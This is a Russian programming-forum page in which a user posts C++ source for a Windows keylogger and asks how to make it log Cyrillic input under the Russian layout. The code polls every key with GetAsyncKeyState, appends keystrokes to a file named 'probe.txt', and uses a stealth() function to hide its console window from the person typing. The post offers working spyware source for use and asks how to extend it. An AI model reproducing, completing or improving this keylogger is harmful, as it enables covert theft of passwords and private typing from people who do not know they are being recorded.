Форум программистов, компьютерный форум CyberForum.ru

Keylogger не работает с русской раскладкой - C++

Восстановить пароль Регистрация
Другие темы раздела
C++ Разбиение точек http://www.cyberforum.ru/cpp-beginners/thread1720211.html
Дано n точек. n <= 100. Необходимо разбить их на 2 выпуклых, непересекающихся многоугольника так, чтобы любая точка являлась вершиной одного из многоугольников и любая вершина многоугольника являлась одной из данных точек. Разница площадей этих многоугольников должна быть минимальна. Необходимо вывести эту разницу с точностью до 6 знаков после запятой. Пример: 6 0 0 0 1 1 0 3 2 2 2 3 1
C++ Что значит строчка в коде Всем привет! что может значить след. строчки в коде? jn = (j>0)?(j-1):(LY-1) jp = (j<LY-1)?(j+1):(0) LY - задано, j - переменная цикла. Заранее спасибо. http://www.cyberforum.ru/cpp-beginners/thread1720210.html
Объясните как работает эта программа C++
Дан файл, компонентами которого являются массивы действительных чисел. Вычислить для каждого массива удвоенную сумму всех положительных элементов. Записать в другой файл каждое из этих чисел Я не могу понять как делать ввод и вывод значений. Тут вроде бы нужен одномерный массив помогите его переделать пожалуйста #include <fstream> #include <iostream> #include <cstring> using namespace...
Посчитать шарики, которые будут уничтожены C++
Стас очень любит играть в игру "уничтожь шарики". Шарики в ней выставляются в линию, и когда образуется непрерывная цепочка из трех и более шариков одного цвета, все шарики в этой цепочке уничтожаются. Все остальные шарики при этом сдвигаются влево, насколько это возможно, и всё повторяется до тех пор, пока в цепочке есть хотя бы три последовательных шарика одного цвета. Напишите программу,...
C++ Посчитать, какой бы сегодня был день, если бы отсчет времени был устроен иначе http://www.cyberforum.ru/cpp-beginners/thread1720186.html
Сегодня в школе Сидор Яблочкин проходил разные системы летоисчисления. Теперь он смотрит на календарь на своем компьютере и пытается посчитать, какой бы сегодня был день, если бы отсчет времени был устроен иначе. Для этого ему нужно посчитать количество прошедших дней (включая текущий) начиная с первого января первого года в текущем летоисчислении. Посчитайте и вы. Не забывайте, что обычно...
C++ Ошибка: ссылка на неразрешенный внешний символ Вообщем решил я тут скачать чужой код змейки(посмотреть что да как там), вроде подключил все библиотеки opengl. Но вот не задача, компилятор выдает ошибку: 1>MSVCRTD.lib(exe_winmain.obj) : error LNK2019: ссылка на неразрешенный внешний символ _WinMain@16 в функции "int __cdecl invoke_main(void)" (?invoke_main@@YAHXZ) 1>C:\cpp\Win32Project2\Debug\Win32Project2.exe : fatal error LNK1120:... подробнее

Показать сообщение отдельно
Prizrak2016
1 / 1 / 0
Регистрация: 11.03.2016
Сообщений: 45
25.04.2016, 08:25     Keylogger не работает с русской раскладкой
Все привет, для примера в инете нашел исходник кейлоггера, на англ все нормально пишет, а вот если стоит русская раскладка то оно записывает у файл англ символ, как можно сделать чтоб код понимал расскладку клавиатуры?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<iostream>
using namespace std;
#include<windows.h>
#include<winuser.h>
 
int save (int key_stroke, char *file);
void stealth();
int main()
{
    
    stealth();
    char i;
    
    while(1)
    {
            for(i = 8; i <= 190; i++)
            {
                  if (GetAsyncKeyState(i) == -32767)
                  save (i,"probe.txt");
                  }
                  }
                  
                  
    system("PAUSE");
    return 0;
}
/* *********************************************** */
/* *********************************************** */
int save (int key_stroke, char *file)
{
    if ((key_stroke==1)||(key_stroke==2))
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout<<key_stroke<<"\n";
    
    if (key_stroke==8)
     fprintf(OUTPUT_FILE, "%s" , "(backspace)");
    else if (key_stroke == 13)
     fprintf(OUTPUT_FILE, "%s" , "\n");
    else if (key_stroke == 32)
     fprintf(OUTPUT_FILE, "%s" , " ");
    else if (key_stroke == VK_TAB)
     fprintf(OUTPUT_FILE, "%s" , "(tab)");
    else if (key_stroke == VK_SHIFT)
     fprintf(OUTPUT_FILE, "%s" , "(shift)");
    else if (key_stroke == VK_CONTROL)
     fprintf(OUTPUT_FILE, "%s" , "(control)");
    else if (key_stroke == VK_ESCAPE)
     fprintf(OUTPUT_FILE, "%s" , "(escape)"); 
    else if (key_stroke == VK_END)
     fprintf(OUTPUT_FILE, "%s" , "(end)");
    else if (key_stroke == VK_HOME)
     fprintf(OUTPUT_FILE, "%s" , "(home)");  
    else if (key_stroke == VK_LEFT)
     fprintf(OUTPUT_FILE, "%s" , "(left)");
    else if (key_stroke == VK_UP)
     fprintf(OUTPUT_FILE, "%s" , "(up)"); 
    else if (key_stroke == VK_RIGHT)
     fprintf(OUTPUT_FILE, "%s" , "(right)");
    else if (key_stroke == VK_DOWN)
     fprintf(OUTPUT_FILE, "%s" , "(down)");
    else if (key_stroke == 190 || key_stroke == 110)
     fprintf(OUTPUT_FILE, "%s" , ".");
     else
     fprintf(OUTPUT_FILE, "%s" , &key_stroke);   
    fclose(OUTPUT_FILE);
    return 0;
}
/* *********************************************** */
/* *********************************************** */
void stealth()
{
     HWND stealth;
     AllocConsole();
     stealth = FindWindowA("ConsoleWindowClass", NULL);
     ShowWindow(stealth,0);
     
}
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
 
Текущее время: 15:44. Часовой пояс GMT +3.
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2016, vBulletin Solutions, Inc.
Рейтинг@Mail.ru